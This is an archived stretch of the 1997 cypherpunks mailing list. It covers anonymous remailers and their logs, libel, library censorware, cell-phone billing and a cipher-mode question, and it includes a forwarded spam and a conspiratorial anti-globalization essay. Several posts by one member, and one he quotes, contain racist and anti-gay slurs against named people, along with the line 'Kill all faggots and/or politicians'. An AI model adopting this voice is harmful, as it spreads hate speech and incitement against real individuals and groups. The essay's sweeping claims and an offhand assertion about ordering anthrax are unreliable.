> :to prove that you knew the accusation was false and made it anyway with
> :malicious intent.
>  
> But if you're Paula Jones and it's proven that what you accused didn't happen,
> you could be sued by the President.

True.  I was talking about the case of a third-party who could have been
acting on his belief, perhaps wrong, that Paula Jones was telling the truth.

Apply the rationale you previously suggested to this case.  Suppose I say
that Clinton sexually harassed Paula Jones and he challenged me to "post the
evidence or shut up".  Would that demand obligate me to shut up?  Would it
somehow put me on notice that Clinton was innocent?  I don't think so.

> :> Hotmail DOES know who signs up and uses their mail service (at least the
> :> connection information such as IP and provider.
> :
> :That's probably reason enough for someone who truly needs anonymity to avoid
> :such a service.  The problem is that once it's known that the identifying
> :information exists somewhere, the keeper of that information becomes a
> :target for coercion, bribery, hacking, burglary, etc.
>  
> Only if someone uses their site in an abusive fashion.  Like any other 
> service.

I would not assume the motives of a person willing to engage in such tactics
to be honorable ones.  It could just as easily be a person out to exact
revenge on a whistleblower.  Look at the person who blew the whistle on the
tobacco industry.  Imagine if he'd done it anonymously.  Imagine if the next
person in that position decides he doesn't want to become a target by
revealing his identity.  It's hardly a case of using a site in an abusive
fashion, but it still might get the attention of someone wanting desperately
to identify and silence a "trouble maker" like that.

Requiring a remailer operator to store data that could later be used to
prosecute an accused criminal also makes that same data vulnerable to 
compromise by those with no legally defensible need to gain access to it.
A "black bag job" is often more expedient than going through the proper legal
channels.
 
> :> There's still no way to do something even if the law has already been broken. 
> :
> :If someone has already been convicted of an offense that involved the
> :internet, it might be possible to suggest that one condition of any probation
> :or parole be to avoid using the internet, similar to what happens when one is
> :convicted of drunk driving.  Many jurisdictions allow victim input into the
> :sentencing/parole process.
> :  
> :(I'm not advocating this, merely pointing out that it's possible.)  
>  
> You skipped the apprehension and prosecution  and jumped to after sentencing.

I assumed that apprehension and prosecution would precede sentencing.  You did
state that "the law has already been broken", and that is a decision for a 
judge and jury to decide, so I assumed that it had already been made in a 
trial.
 
> :The problem is that devising workable solutions to problems that don't yet
> :exist is much more difficult that resolving problems that do already exist.
>  
> Many say the problem does exist.

I was dealing with Politas' specific concern.  Not only did he state that the
problem didn't exist, but he doubted that it ever would be a problem FOR HIM.  
I made no attempt to generalize the answer, only deal with Politas' concerns 
that were motivating his call for changes.
 
> :And that's doubly true if the person refuses to implement the preventive
> :measures already suggested.
>  
> He can still only implement _SOME_ measures.  Others are beyond his control.
> He can't make the other person stop posting false information.

I'm not sure about Australia, but that's true in the United States.  The
Supreme Court has ruled that prior restraint, based on what someone MIGHT do,
is an unconstitutional infringement upon freedom of speech.

> :  It's sort of like saying, "Why should I be careful 
> :with that hot coffee?  I'll just wait until it spills and injures me, then  
> :I can sue someone!" 
>  
> Only true for those things under his control.  If the "attacker" never sends
> him an email, it'd be hard to argue that the fact that he didn't block his
> email address proved he didn't protect himself. 

And I've never been injured by spilling hot coffee in my lap either, but
common sense dictates that I should take reasonable precautions to prevent it
before it happens.  You presumably lock your front door when you leave, even
if you've never been burglarized, right?

Remember, we're operating from Politas' premise that the only people who use
anonymous communications are "criminals", so unless he has some reason for
wanting to hear from "criminals", HE has no excuse not to pre-emptively block
anonymous mail.  YMMV, of course.
 
> :I do too.  But his premise was used to support his suggested remedy.  If an
> :anonymous user is NOT presumed to be a criminal, then you can't justify
> :treating him like one.
>  
> I still wonder about what to do about "suspects" on the net.  How do you
> investigate one suspected without harming those NOT suspected?

If by "suspect" you mean someone that you have REASONABLE CAUSE to believe
is committing a crime, you have a number of legal remedies.  A US Attorney
could get a search warrant for the suspect's computer(s), subpoena his ISP's
access logs, perhaps even request a wiretap on his link to the internet.  In
a civil case you'd have to do the legwork yourself, but I'm sure that many
of the same tools are available.

But if you had an identifiable suspect in mind, then his attempts at
remaining anonymous would have been for naught.  Maintaining one's privacy
requires more than just technology.

If you didn't have probable cause, but had narrowed it down to a short list
of potential culprits, then you might wish to engage the services of a private
investigator with expertise on the internet to assist you.  (You could also
hire your friendly neighborhood hacker for a lot less, but you'd be assuming
a lot more liability for any illegalities in his "investigation" than you
would in dealing with a licensed, bonded professional.)
 
> :Take "libel", for example.  Let's suppose a law were enacted today to make
> :defaming the President of the United States a criminal offense.  How much
> :success do you think you'd have in forcing a remailer in Libya or Iraq to
> :aid in hunting down such an offender?
>  
> None.

That was my point.  Politas' contention that remailers were being used to
perpetrate crimes that are prosecutable in EVERY COUNTRY is hard to believe.
There are crimes that fall into that category, of course, but I can't think
of one that's possible to commit anonymously via a remailer.

Most countries, I suspect, would be even less likely to intervene against
an innocent third party, the remailer operator, to subpoena confidential
data for the sake of a civil matter between two foreign individuals.

The lessons of the Church of Scientology vs. Julf debacle have hopefully
been learned and it won't easily be repeated.  The fact that a single
(vulnerable) individual stood between a dissident poster and a litigious 
organization served as a wake-up call to many remailer users.  Many will now 
accept nothing less than REAL anonymity, not the snake oil "trust me, I'm from
the government" approach to privacy and personal security that some want.
 
- ---
Finger  for PGP public key (Key ID=19BE8B0D)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBNJ6iggbp0h8ZvosNAQHAHgf/SpLYO7EUHMg4Efh7jctXF04R3Aww5h8M
QAWCv5vOSe/AOQ79303lMNRDeaiU5d5fN+3LyGAEEa+RujZ5s+YGALhDq54Vmjdi
Zrq6UXdB4geFWvbm3vU2ODYIEAAPvxxQj6heL6zUvbjkBj5BwCxng7vCsp+uMa0L
N7rRnx4MxblzxRzi/9ypniOHAHWPRr+1y6JTID1mxEy2TxfB7le4zL2nrh0b0SdH
pPtCoxi4qwA+khPDqbZl0OSIj5DIar8LW862Zkk9fBPrxBKMGAoKx/V6K8VM2Rqg
9XUtEdRuETfL/TyGEG7aEFw0DEwdeflEGGrkVmls1pYzH17/5fqc2Q==
=phEE
-----END PGP SIGNATURE-----






From dlv at bwalk.dm.com  Mon Dec 22 10:36:11 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 02:36:11 +0800
Subject: Hate speech and censorship (fwd)
In-Reply-To: <199712221620.KAA18039@einstein.ssz.com>
Message-ID: <2RL5He8w165w@bwalk.dm.com>



Jim Choate  writes:

> > Date: Mon, 22 Dec 1997 14:46:08 +0000 (   )
> > From: Paul Bradley 
> > Subject: Re: Hate speech and censorship
>
> > Yes, those on the list a few months ago (around the time the list moved
> > from cocksucker John Gilmores toad.com to the distributed list format)
>
> Dude, that was well over a year ago...

So?  has cocksucker John Gilmore quit sucking cocks in the meantime?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Mon Dec 22 10:42:11 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 02:42:11 +0800
Subject: Hate speech and censorship
In-Reply-To: 
Message-ID: 



Paul Bradley  writes:

> > Sameer is also notorious for making legal threats against those who questio
> > the security of the crypto software he peddles. The fact that he dispatches
> > his shysters to make threats, instead of even trying to answer our concerns
> > with facts, shows how much he himself believes in his products.
>
> Yes, those on the list a few months ago (around the time the list moved
> from cocksucker John Gilmores toad.com to the distributed list format)
> will remember censorous arab Sameer Parekh for sending abusive mail
> threatening legal action to those who criticised the security of his
> companies "stronghold" firewall, which I among others suspect to contain
> govt. backdoors, uneducated and foolish arabs such as Parekh should stick
> to what they do best: running kebab shops and/or selling cheap fake rolex
> watches to tourists.

Sameer parekh sounds like he lives by the Arab proverb: "Women for sons,
boys for pleasure, but a camel for sheer extasy".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From brian at smarter.than.nu  Mon Dec 22 10:59:52 1997
From: brian at smarter.than.nu (Brian W. Buchanan)
Date: Tue, 23 Dec 1997 02:59:52 +0800
Subject: Get your Anthrax shots OR Jim Bell hits Sweden
In-Reply-To: 
Message-ID: 



On Mon, 22 Dec 1997, Asgaard wrote:

> 1) Larry Wayne Harris, allegedly a microbiologist in
> Ohio who was sentenced for the posession of 'three bottles'
> of bubonic plague bacteria in 1995. Harris, said the article,
> had been engaged in the rasist organization Aryan Nation.

Actually, it's legal to possess bubonic plague bacteria, and anthrax as
well.  It's even possible to order anthrax from the same lab that supplied
Harris with the bubonic plague bacteria, and this is reportedly the same
lab that supplied Iraq with its anthrax.  According to Harris, all you
need to provide is a lab ID number, and in fact, this is what Harris was
prosecuted for -- illegal use of the ID number for the lab he worked at.

-- 
Brian Buchanan                                      brian at smarter.than.nu

No security through obscurity!  Demand full source code!
4.4BSD for the masses - http://www.freebsd.org

In protest of the draconian No Electronic Theft Act of 1997...

COPYRIGHT WARNING:
This message is Copyright (C) 1997 by Brian W. Buchanan, all rights reserved.

This message may not be reproduced, redistributed, transcribed, or
otherwise copied by electronic device, in whole or in part, by Microsoft
Corp. or any of its subsidiaries, the Church of Scientology, the United
States Government, or any entities attached to the Unites States
Government or holding active contracts with the United States Government,
unless a payment of $5,000 per copy is delivered to the author and recipt
acknowledged before said reproduction is made.  Failure to comply is a
violation of the No Electronic Theft Act of 1997 and is punishable by
fines up to $250,000 and up to 5 years in federal prison.  Full "fair use" 
copying and redistribution rights are granted to parties not named above.







From ichudov at Algebra.COM  Mon Dec 22 11:04:20 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Tue, 23 Dec 1997 03:04:20 +0800
Subject: Hate speech and censorship
In-Reply-To: 
Message-ID: <199712221855.MAA13705@manifold.algebra.com>



Dr.Dimitri Vulis KOTM wrote:
> Paul Bradley  writes:
> > Yes, those on the list a few months ago (around the time the list moved
> > from cocksucker John Gilmores toad.com to the distributed list format)
> > will remember censorous arab Sameer Parekh for sending abusive mail
> > threatening legal action to those who criticised the security of his
> > companies "stronghold" firewall, which I among others suspect to contain
> > govt. backdoors, uneducated and foolish arabs such as Parekh should stick
> > to what they do best: running kebab shops and/or selling cheap fake rolex
> > watches to tourists.
> 
> Sameer parekh sounds like he lives by the Arab proverb: "Women for sons,
> boys for pleasure, but a camel for sheer extasy".

I guess I am missing something, but what is so good about camels?

	- Igor.






From wombat at mcfeely.bsfs.org  Mon Dec 22 11:06:37 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Tue, 23 Dec 1997 03:06:37 +0800
Subject: Making them eat their words... (while they watch!)
In-Reply-To: <19971220.051132.attila@hun.org>
Message-ID: 





On Sun, 21 Dec 1997, Attila T. Hun wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> > WASHINGTON (Reuters) - A federal judge Friday told Microsoft
> > Corp.  he easily uninstalled the company's Web browser
> > without breaking Windows 95 and ordered company officials to
> > explain why they could not do the same.  "Windows 95
> > functioned flawlessly" with Internet Explorer uninstalled,
> > U.S.  District Judge Thomas Penfield Jackson told Microsoft.
> >

I wonder if M$ will fire the coders who screwed up and allowed this to 
happen. Remember the old days at M$? "The job's not done until Lotus 
won't run."






From comsec at nym.alias.net  Mon Dec 22 11:21:48 1997
From: comsec at nym.alias.net (Charlie Comsec)
Date: Tue, 23 Dec 1997 03:21:48 +0800
Subject: Remailer Logs (and Accountability)
In-Reply-To: <199712221346.OAA03091@basement.replay.com>
Message-ID: <19971222190006.27998.qmail@nym.alias.net>




-----BEGIN PGP SIGNED MESSAGE-----

nobody at REPLAY.COM (Anonymous) wrote:
 
> I've been reading about Cajones, and having logs demanded, and
> about traceability vs accountability and so forth here.
>  
> Do remailers keep a trace of whoever sends them mail?  I sent
> this message from my desk to Replay and on to a mail2news gateway,
> can someone trace it back to my desk somehow?  That would hardly
> be anonymous, would it.  Sorry if this is/has been covered somewhere,
> but I can't seem to find a good nuts and bolts explanation of
> just how secure anonymous remailers are.

I suspect that if you polled remailer operators you'd find that some
keep logs and some don't.  I don't know about the Replay remailer.  Perhaps
Alex DeJoode (the operator of the Replay remailer) would care to comment.  Nor 
can logs necessarily positively identify you.  If kept, they would record when 
your message came in and when the post to usenet went out, but *PROBABLY* 
would not establish a conclusive link between the two.  Many remailers 
maintain a "reordering pool" where forwarded messages do not necessarily get 
sent out in the order they were received.

If you're concerned about backwards traceability via remailer logs, then
encrypt and chain your posts through several remailers.  If you do that,
your identity is protected unless *ALL* of the remailers kept logs and their
operators *ALL* cooperated in the effort to identify you.  If even one of the
remailers in the chain doesn't keep logs, then the trail back to you stops
right there.

IMO, any remailer operator that keeps logs is inviting trouble, but that's
their choice.  Some remailers are hosted on ISPs that automatically keep logs
and it is quite beyond the remailer operator's control.

If you sent this message directly to the replay.com remailer and didn't
encrypt it, then anyone along the electronic path between you and the
Replay remailer could have read it and known who posted it.  If you
PGP encrypted it, then it would take Alex DeJoode's cooperation to identify
you, assuming he kept logs.  If you had used encrypted chaining through at 
least three remailers, then no single person (except you) would know both
the source and final destination of the message.  The first remailer would
know who sent it but not where it was headed.  The second remailer would know
neither.  The third remailer would only know its destination (usenet) but not
its source.

- ---
Finger  for PGP public key (Key ID=19BE8B0D)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEUAwUBNJ6uGAbp0h8ZvosNAQHKjAf41cqbqQP6A+JXmZXJ9qpCg6nSL5760ZU8
CNv/TheuBvbsbGQ1bBi7zeWVtkCq+MK8XhTFKKLHw6sfyukgAaQY5toM5H+zHtaY
ITCQyGheSngySv/jD8RYYKNtHfk/aCEl9v8MYfTmiBotYp6eiSim3HZyTsNPH41L
wRnQc/90zcDmPe5sB6fJY0DxSywX+w7yyobwlCSvlTGWUeVVBntJY65RZysVwtHy
YbFplCehw3ygJ20OK1fWJUpVvYFUlY56SdnxPvZPaPO/5vO+zO6UTqvKX2WRfc23
DdF4OE45Y0DeVKgUkIzI3YeMn4WbVC1xLf7HCSYtsxRfwTjVdcj6
=7IdA
-----END PGP SIGNATURE-----






From dlv at bwalk.dm.com  Mon Dec 22 11:33:24 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 03:33:24 +0800
Subject: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: <3.0.5.32.19971222100447.007d28c0@otc.net>
Message-ID: 



David Honig  writes:
> Note that if the library in question were not arm of the State,
> noone would have any First Amendment claim.

And that in turns reminds me of microsoft giving away a free web browser...
Here's why: in 19th century NYC there very many excellent private libraries
where one could pay a monthly fee and either read inside or borrow books.
Then the gubmint (the state, the city, doesn't matter) created "free" public
libraries (i.e., paid for by the taxpayers, most of whom probably don't give
a flying fuck about libraries), and drove almost all private for-pay libaries
out of business.

Perhaps the state shouldn't be in the business of providing library services
to begin with; then there will be no 1st amendment issue, and if you don't
like the censorware used by a private library, why, use another private
library, or start your own.

(Nor would there be an issue with private libraries refusing service to
readers who smell bad.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Mon Dec 22 11:33:32 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 03:33:32 +0800
Subject: Hate speech and censorship
In-Reply-To: <199712221855.MAA13705@manifold.algebra.com>
Message-ID: 



ichudov at algebra.com (Igor Chudov @ home) writes:

> Dr.Dimitri Vulis KOTM wrote:
> > Paul Bradley  writes:
> > > Yes, those on the list a few months ago (around the time the list moved
> > > from cocksucker John Gilmores toad.com to the distributed list format)
> > > will remember censorous arab Sameer Parekh for sending abusive mail
> > > threatening legal action to those who criticised the security of his
> > > companies "stronghold" firewall, which I among others suspect to contain
> > > govt. backdoors, uneducated and foolish arabs such as Parekh should stick
> > > to what they do best: running kebab shops and/or selling cheap fake rolex
> > > watches to tourists.
> >
> > Sameer parekh sounds like he lives by the Arab proverb: "Women for sons,
> > boys for pleasure, but a camel for sheer extasy".
>
> I guess I am missing something, but what is so good about camels?

I don't know - you'd have to ask Sameer Parekh.  Does he keep one in his
C2Net office, and is it a male or a female camel?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Mon Dec 22 11:34:44 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 03:34:44 +0800
Subject: Hate speech and censorship
In-Reply-To: <199712221655.RAA22222@basement.replay.com>
Message-ID: 



Anonymous  writes:

> On behalf of the non-racist cypherpunks, please accept an apology for
> Paul Bradley's racist message:
>
> > uneducated and foolish arabs such as Parekh should stick
> > to what they do best: running kebab shops and/or selling cheap fake rolex
> > watches to tourists.
>
> This does not reflect the mainstream view on the list.  Cypherpunks
> understand that disparaging the racial background of others is a weak
> and invalid form of argument.
>
> While it may be appropriate to criticize actions taken during the list
> moderation experiment, casting the issue in racial terms only reveals
> the ignorance and bigotry of the writer.

Politically correct shit like this reveals the stupidity and the ignorance of
its writer. no wonder he hides behind an anonymous remailer, afraid to sign
his own name on such crap. However his writing style is unmistakable that of
the cowardly liar Sandy "moderator" Sandfart (spit) from C2net (a boot-licking
employee of the smelly Arab crypto-snake-oil peddler Sameer Parekh (spit)).

ObHateSpeech: Kill all faggots and/or politicians.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From aba at dcs.ex.ac.uk  Mon Dec 22 11:48:31 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Tue, 23 Dec 1997 03:48:31 +0800
Subject: Is Anonymous Communication only for "Criminals"? (was: Re:  UCENET II and Peter duh Silva)
In-Reply-To: 
Message-ID: <199712221915.TAA00367@server.eternity.org>




Steve Schear  writes:
> I've heard some U.S. cellular carriers are experimenting with
> "caller pays" billing.  Does anyone on the list have experience with
> "caller pays"?

I was totally amazed when I heard from a US friend that US cell phones
don't bill the caller!  My immediate thought was "people can spam call
you and run your bill up, ouch!"

Must be weird having a cell phone where people can run your bill up
just by calling you.

In the UK to my knowledge all GSM mobiles and POTS lines are caller
pays all.  The obvious thing to do is for the US cell phone suppliers
to "experiment with caller pays" billing, the only way that makes
sense.

(With the logical exception of 0800 (freephone) and 0345 (lo-call
half way between 0800 and 0345)).

(0800 = BT free phone, 0500 = mercury freephone; 0345 = BT lo-call,
0645 = mercury lo-call, 0845 = energis lo-call).

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199712221932.TAA00384@server.eternity.org>




Paul Bradley  writes:
> Yes, those on the list a few months ago [...] will remember
> censorous arab Sameer Parekh for sending abusive mail threatening
> legal action to those who criticised the security of his companies
> "stronghold" firewall,

Stronghold is a web-server, not a firewall.

> which I among others suspect to contain govt. backdoors, 

Would you or Dimitri care to be more specific?

Is there a specific flaw you have in mind?

Are there any features of Stronghold which you think hinder third
party validation?

Is anything about C2Net policies which you think hinders open review?

(Yes we know about the legal threats Dimitri received, personally I
consider this is a mistake on C2Net's part).

Adam






From k0zm0z at yahoo.com  Mon Dec 22 11:58:50 1997
From: k0zm0z at yahoo.com (kozmo killah)
Date: Tue, 23 Dec 1997 03:58:50 +0800
Subject: Fwd: THE ULTIMATE GOLF GIFT
Message-ID: <19971222194623.953.rocketmail@send1b.yahoomail.com>



note: forwarded msg attached.


_________________________________________________________
DO YOU YAHOO!?
Get your free @yahoo.com address at http://mail.yahoo.com


To: InternetUser at OnThe.Net
Subject: THE ULTIMATE GOLF GIFT
From: 42956274 at hotmail.com
Date: Fri, 19 Dec 97 17:00:10 EST

THE ULTIMATE GOLF GIFT at http://www.cgagolf.com
THE MONTHLY GOLF GIFT "THE GIFT THAT NEVER ENDS"
COME VISIT THE CGA GOLF MALL FOR ALL YOUR GOLF NEEDS      
http://www.cgagolf.com







From craffert at ml.com  Mon Dec 22 12:20:52 1997
From: craffert at ml.com (Colin Rafferty)
Date: Tue, 23 Dec 1997 04:20:52 +0800
Subject: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: <3.0.5.32.19971222100447.007d28c0@otc.net>
Message-ID: 



David Honig writes:
> At 10:23 AM 12/22/97 -0500, Declan McCullagh wrote:

>> Mainstream Loudoun, a local group, and 11 other
>> plaintiffs are challenging Loudoun County's decision to
>> adopt one of the country's most iron-handed Internet
>> policies, The Netly News has learned....

>> The plaintiffs hope to persuade a federal judge that
>> X-Stop's overzealousness violates not just traditions of
>> intellectual freedom in libraries, but the First Amendment
>> as well....
 
> Note that if the library in question were not arm of the State,
> noone would have any First Amendment claim.

Which is why it is a good thing that Libraries are state funded.

> This is reminiscent of TM's recent (controversial) analysis of the fired
> county trashworker/author,
> and suggests a clearer example of the confusion caused by State as Employer:

I don't think I saw TM's analysis, since I am on fight-censorship, but I
don't see where there is any confusion.  Except in very limited
circumstances (National Security), the government cannot hire or fire a
contractor (or employee) based on unrelated speech.

> It is considered legal and moral for a *private employer* can use
> censorware to restrict their LAN's access.

It may be legal, but whether it is moral is certainly debatable.

> But if the employer is the State, and does this, the First might be dragged
> in -confusing the issue,
> since the government acting as State is constrained (by the constitution)
> differently from the government
> acting as Employer (constrained by employment law).

Why is this confusing?  It is very simple to tell the difference between 
the State as employer and the State as censor.

A Public Library is allowed restrict Internet Access to its employees on 
the job, since it is acting as an employer.

A Public Library may not be allowed to restrict Internet Access to its
patrons (we will see how Loudoun turns out).

> Perhaps some critical of Tim's analysis think that when government is
> employer it can't censor its LAN?  Can't remove games from government owned
> PCs?  

> When the government removes games, pictures, etc. from its PCs it is acting
> as a responsible efficient employer.

Not necessarily responsible, but it is legal.

> When the government attempts to remove games, pictures, etc. from stores it
> is acting criminally.

This is correct.

Again, I don't see what is confusing about this.

-- 
Colin






From jrussell at syndata.com  Mon Dec 22 12:28:24 1997
From: jrussell at syndata.com (Jim Russell)
Date: Tue, 23 Dec 1997 04:28:24 +0800
Subject: Question on CFB variant with c[i-N]
Message-ID: <01bd0f14$9f141d20$8b73d6ce@Polaris.domain>



>>>              cfb    Ciphertext feeback mode
>>>                     c[i] = f1(K, c[i-1]) ^ p[i]
>>>                     p[i] = f1(K, c[i-1]) ^ c[i]


>Suppose instead of c[i-1] you use c[i-N] where N is say 10. 

Wouldn't the size of your IV have to grow as N grows?

Jim Russell
SynData Technologies










From vznuri at netcom.com  Mon Dec 22 12:37:38 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Tue, 23 Dec 1997 04:37:38 +0800
Subject: globalization & the internet
Message-ID: <199712222031.MAA00682@netcom10.netcom.com>




some ranting & some food for thought..

------- Forwarded Message

Date: Mon, 22 Dec 1997 02:36:59 -0800
From: "J. Orlin Grabbe" 
To: snetnews at world.std.com
Subject: SNET: [Fwd: [OT] Information Highway: CLOSED?]


- ->  SearchNet's   SNETNEWS   Mailing List

This is a multi-part message in MIME format.
- --------------595A704A5EC1CF912EEA531B
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit



- --------------595A704A5EC1CF912EEA531B
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Path: news.alt.net!wnfeed!204.127.130.5!worldnet.att.net!newsadm
From: Bill Nalty 
Newsgroups: alt.current-events.clinton.whitewater
Subject: [OT] Information Highway: CLOSED?
Date: Sun, 21 Dec 1997 13:59:27 -0600
Organization: AT&T WorldNet Services
Message-ID: <67jsg3$bbb at bgtnsc02.worldnet.att.net>
Reply-To: CBasher at worldnet.att.net
NNTP-Posting-Host: 12.65.209.91
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 3.0C-WorldNet  (Win95; I)

For education and discussion. Not for commercial use.

tf mag
January 1998

A Not So Hidden Agenda ...

Closing the Information Highway

By Richard K. Moore

Domination of cyberspace is mission-critical for the masters 
of globalization

By RICHARD K. MOORE

Propaganda is an essential mechanism in democracy. It's the primary
means by which the elite insure that their interests aren't overwhelmed 
by the "excesses of democracy" and "mob rule."

In the see-saw struggle for power, ownership of media - to influence
opinion and government policies - has always been used to advantage by
economic elites. Popular movements also have effectively used the media,

from time to time, but in today's concentrated media industry, elite
control over public opinion is, essentially, total. So total that just
as a fish isn't aware of water, it's easy to forget how constrained the 
scope of public debate has become.

Even opposition to the status quo is channeled and deflected by media
emphasis, as with the US militia movements, the Perot and Buchanan
candidacies, and European nationalist movements. All these are used to
"define" anti-globalist sentiment as reactionary, isolationist, Luddite,
and racist.

Demonization of government and politicians - in fact, blaming government
for problems caused by globalism and excessive corporate influence - is
perhaps the single most potent coup of mind-control media in undermining
democratic institutions and promoting globalism.

REVISION BY OMISSION

Globalization itself exemplifies media propaganda's potency. The
rhetoric of neoliberalism, with its "reforms," "market forces," and 
"smaller government," isn't just a "position" within public debate. 
It frames debate. Politicians rarely question whether to embrace 
globalization, but compete to espouse national policies 
accommodating it.

As media is globalized and concentrated, it's no surprise that
globalization propaganda is one of its primary products. Whether 
the vehicle is a feature film, network news, advertisement, panel
discussion, or sit-com, the presumed inevitability of the 
market- forces system and the bankruptcy of existing political 
arrangements comes through - even when the future's dark side 
is portrayed.

The barrage's success is especially amazing given the utter bankruptcy
of the neoliberal philosophy. The experience of the robber-baron era is
simply forgotten in public memory. In true Orwellian fashion, we're 
told that market forces and deregulation are "modern" efficiencies, 
the brilliant result of state-of-the-art economic genius.

As a consequence of this historical revision by omission, we rarely 
hear that these policies have been tried before and found sorely 
wanting - that they prompted economic instability, monopolized markets, 
cyclical depressions, political corruption, worker exploitation, and 
social depravity. Nor do we hear about how generations of reform were 
required to re-introduce competition into markets, stabilize the 
financial system, and institute more equitable employer/employee 
relations.

In fact, regulatory regimes created a generally reasonable 
accommodation between interests of the elite and the people. But, 
because of media propaganda, everyone now "knows" that regulations 
are just the counter-productive ego-trips of well- or ill-meaning
politico-bureaucrats with nothing better to do than interfere in 
other people's business. Today's "reforms" dismantle reforms which 
moderated decades of market abuse. Yet, old wine can be presented 
in new vessels. As long as the message is repeated enough and facts 
that don't fit are never aired, the public can swallow it.

IMAGE CONTROL

The mass media is the front line of corporate globalist control. 
This adds extra urgency to the pace of global media concentration. 
The central importance of corporate-dominated mass media to the 
globalization process, and to elite control generally, must be 
remembered when predicting the Internet culture's fate once 
commercial cyberspace comes online.

The mass media's treatment of cyberspace and the Internet to date 
lends some portending insights. Two quite different images are 
typically presented, one commercially-oriented and the other not. 
The first, frequently seen in fiction or futuristic documentaries, 
focuses on the excitement of cyber adventures, the thrill of virtual 
reality, and the promise of myriad online enterprises. This 
commercially- oriented image has a positive spin. Suddenly every 
product and organization on the block has a www.My.Logo.com, often 
with only symbolic utility. Madison Avenue is selling cyberspace,
pre-establishing a mass-market demand for its future commercial 
version.

The other image presents sinister hackers, wacko bomb conspirators, 
and luring pedophiles. Those who use the Net daily find such stories
ludicrous and unrepresentative, but because we dismiss them, we may 
not realize that's about all the general population hears about 
today's Internet.

The infamous Time article on cyberporn, for example, was pure
demonization propaganda, and standard procedures were surreptitiously 
violated to get it printed. The effect wasn't undone by subsequent 
mild apologies. A recent US regulatory initiative (actually a 
censorship attempt), whose passage was assisted by that well-timed 
article, was fortunately rejected by the US Supreme Court. But the 
defamation campaign continues.

The relationship between cyberspace and democracy is complex. Internet
culture enables a renaissance of open public discussion - a peek at more
open democratic process. But a tiny minority of the world's population
experiences this phenomenon, which may not survive the commercial
onslaught.

On the contrary, as universal transport for mass media products,
cyberspace may deliver even more sophisticated manipulation of public 
opinion. Rather than the realization of the democratic dream, 
cyberspace may become the ultimate Big Brother nightmare.

When most significant events involve online transactions, and backdoors
are built into encryption algorithms and communications switches, 
everyone's every move will be an open book to those holding the keys 
to the net's nervous system. From the accounting records alone, there 
would be a complete trail of activity, and the privacy of this 
information (from government, police, credit bureaus, advertisers, 
direct mailers, political strategists, etc.) is far from guaranteed. 
Systematic massive surveillance by government agencies would be easy.

There's even the possibility of surreptitiously gathering audio and
video signals from home sets presumed to be "off," and remote 
overriding of home security systems or automobile functions. 
Mandatory chip- based ID cards or implants may sound fanciful, but 
the number of initiatives in those directions worldwide is alarming.

In short, cyberspace could become the ideal instrument of power for the
globalist elite, giving precise scientific control over what gets
distributed to whom, and full monitoring of everything everyone does.
Some may insist, "It can't happen here." I would ask, "What is there 
to stop it?" Corporate domination of information flows is inherent to 
the globalization process.

UTOPIA FOR THE FEW

You can think of digitial cyberspace as an utopian realm, where all
communication wishes can be granted. But who will run it? Net users 
tend to assume we'll use it for our creative purposes, just as with 
the Internet. But others have designs on it, too.

We're willing to pay a few cents per hour, while complaining about usage
charges, and our need for really high per-user bandwidth is unproven.
The media industry, in contrast, can bring a huge existing traffic into
cyberspace, with much higher value-per-transaction than e-mail, and
bandwidth-gobbling web. We want to pay commodity prices, while the 
media industry willingly pays whatever it takes - passing on costs 
to consumers.

>From a purely economic perspective, the media's interests could be
expected to dominate the rules of the road. But economic considerations 
may not decide cyberspace rules. Continued mass media domination of 
information distribution is necessary for the media to play its 
accustomed role as shepherd of public opinion. This is mission-critical 
to the globalization process and elite societal control.

The mechanisms of domination include concentrated infrastructure
ownership, licensing bureaucracies, information property rights, 
libel laws, pricing structures, creation of artificial distribution 
scarcity, and "public interest" censorship rules. These tactics have 
been refined throughout the life of electronic media technology, 
starting with radio, and their use can be expected as part of 
cyberspace commercialization.

Signs of these tactics are already evident. The US Internet backbone 
has been privatized; consolidation of ownership is beginning in 
Telecom and in ISP services; WIPO (World Information Property
Organization) is setting down overly-restrictive global copyright 
rules, which the US is embellishing with draconian criminal penalties; 
content restrictions are cropping up, boosted by anti-Internet 
propaganda; pricing is being turned over increasingly to "market 
